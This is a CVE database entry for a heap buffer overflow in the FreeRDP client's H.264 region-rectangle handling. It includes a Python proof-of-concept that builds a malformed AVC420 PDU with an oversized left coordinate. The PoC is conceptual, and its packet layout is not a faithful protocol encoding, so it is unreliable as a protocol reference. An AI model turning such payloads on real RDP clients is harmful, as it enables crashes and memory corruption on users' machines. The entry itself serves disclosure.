Security Vulnerability Report
中文
CVE-2026-29774 CVSS 5.3 MEDIUM

CVE-2026-29774

Published: 2026-03-13 19:54:33
Last Modified: 2026-03-17 14:51:39

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.24.0, a client-side heap buffer overflow occurs in the FreeRDP client's AVC420/AVC444 YUV-to-RGB conversion path due to missing horizontal bounds validation of H.264 metablock regionRects coordinates. In yuv.c, the clamp() function (line 347) only validates top/bottom against the surface/YUV height, but never checks left/right against the surface width. When avc420_yuv_to_rgb (line 67) computes destination and source pointers using rect->left, it performs unchecked pointer arithmetic that can reach far beyond the allocated surface buffer. A malicious server sends a WIRE_TO_SURFACE_PDU_1 with AVC420 codec containing a regionRects entry where left greatly exceeds the surface width (e.g., left=60000 on a 128px surface). The H.264 bitstream decodes successfully, then yuv420_process_work_callback calls avc420_yuv_to_rgb which computes pDstPoint = pDstData + rect->top * nDstStep + rect->left * 4, writing 16-byte SSE vectors 1888+ bytes past the allocated heap region. This vulnerability is fixed in 3.24.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.24.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC: Malicious FreeRDP Server sending oversized rect->left # This PoC demonstrates the concept of crafting a malicious WIRE_TO_SURFACE_PDU_1 # with AVC420 codec containing regionRects with left value exceeding surface width import struct def craft_malicious_avc420_pdu(): """ Craft a malicious AVC420 PDU with oversized rect->left coordinate """ # Surface dimensions: 128x128 surface_width = 128 surface_height = 128 # Malicious left coordinate - far exceeds surface width malicious_left = 60000 malicious_top = 0 malicious_right = malicious_left + 16 malicious_bottom = 16 # Region rectangle structure (H.264 metablock) region_rect = struct.pack('<IIII', malicious_left, # left - exceeds surface width malicious_top, # top malicious_right, # right malicious_bottom # bottom ) # AVC420 header avc420_header = b'\x01\x04' # AVC420 codec identifier # Number of region rectangles num_rects = struct.pack('<I', 1) # Craft the complete PDU pdu = avc420_header + num_rects + region_rect # Add H.264 bitstream data (minimal valid data) # In real attack, this would be a complete H.264 stream h264_nalu = b'\x00\x00\x00\x01\x65' + b'\x00' * 100 pdu += h264_nalu return pdu def send_malicious_pdu(): """ Simulate sending malicious PDU to FreeRDP client """ pdu = craft_malicious_avc420_pdu() print(f"Crafted malicious PDU ({len(pdu)} bytes)") print(f"Malicious rect->left: 60000 (surface width: 128)") print(f"Overflow offset: {60000 * 4} bytes from buffer start") return pdu if __name__ == '__main__': send_malicious_pdu()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29774", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:32.890", "lastModified": "2026-03-17T14:51:38.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.24.0, a client-side heap buffer overflow occurs in the FreeRDP client's AVC420/AVC444 YUV-to-RGB conversion path due to missing horizontal bounds validation of H.264 metablock regionRects coordinates. In yuv.c, the clamp() function (line 347) only validates top/bottom against the surface/YUV height, but never checks left/right against the surface width. When avc420_yuv_to_rgb (line 67) computes destination and source pointers using rect->left, it performs unchecked pointer arithmetic that can reach far beyond the allocated surface buffer. A malicious server sends a WIRE_TO_SURFACE_PDU_1 with AVC420 codec containing a regionRects entry where left greatly exceeds the surface width (e.g., left=60000 on a 128px surface). The H.264 bitstream decodes successfully, then yuv420_process_work_callback calls avc420_yuv_to_rgb which computes pDstPoint = pDstData + rect->top * nDstStep + rect->left * 4, writing 16-byte SSE vectors 1888+ bytes past the allocated heap region. This vulnerability is fixed in 3.24.0."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la 3.24.0, ocurre un desbordamiento de búfer de montón del lado del cliente en la ruta de conversión YUV a RGB AVC420/AVC444 del cliente FreeRDP debido a la falta de validación de límites horizontales de las coordenadas regionRects del metabloque H.264. En yuv.c, la función clamp() (línea 347) solo valida la parte superior/inferior contra la altura de la superficie/YUV, pero nunca verifica la izquierda/derecha contra el ancho de la superficie. Cuando avc420_yuv_to_rgb (línea 67) calcula los punteros de destino y origen usando rect-&gt;left, realiza aritmética de punteros sin verificar que puede ir mucho más allá del búfer de superficie asignado. Un servidor malicioso envía un WIRE_TO_SURFACE_PDU_1 con códec AVC420 que contiene una entrada regionRects donde left excede en gran medida el ancho de la superficie (por ejemplo, left=60000 en una superficie de 128px). El flujo de bits H.264 se decodifica correctamente, luego yuv420_process_work_callback llama a avc420_yuv_to_rgb que calcula pDstPoint = pDstData + rect-&gt;top * nDstStep + rect-&gt;left * 4, escribiendo vectores SSE de 16 bytes 1888+ bytes más allá de la región de montón asignada. Esta vulnerabilidad se corrige en la versión 3.24.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.24.0", "matchCriteriaId": "97FCA262-35C3-4B6B-A321-15CE780FCA20"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/commit/6482b7a92fff3959582cef052d1967ad6bde3738", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-5q35-hv9x-7794", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-5q35-hv9x-7794", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}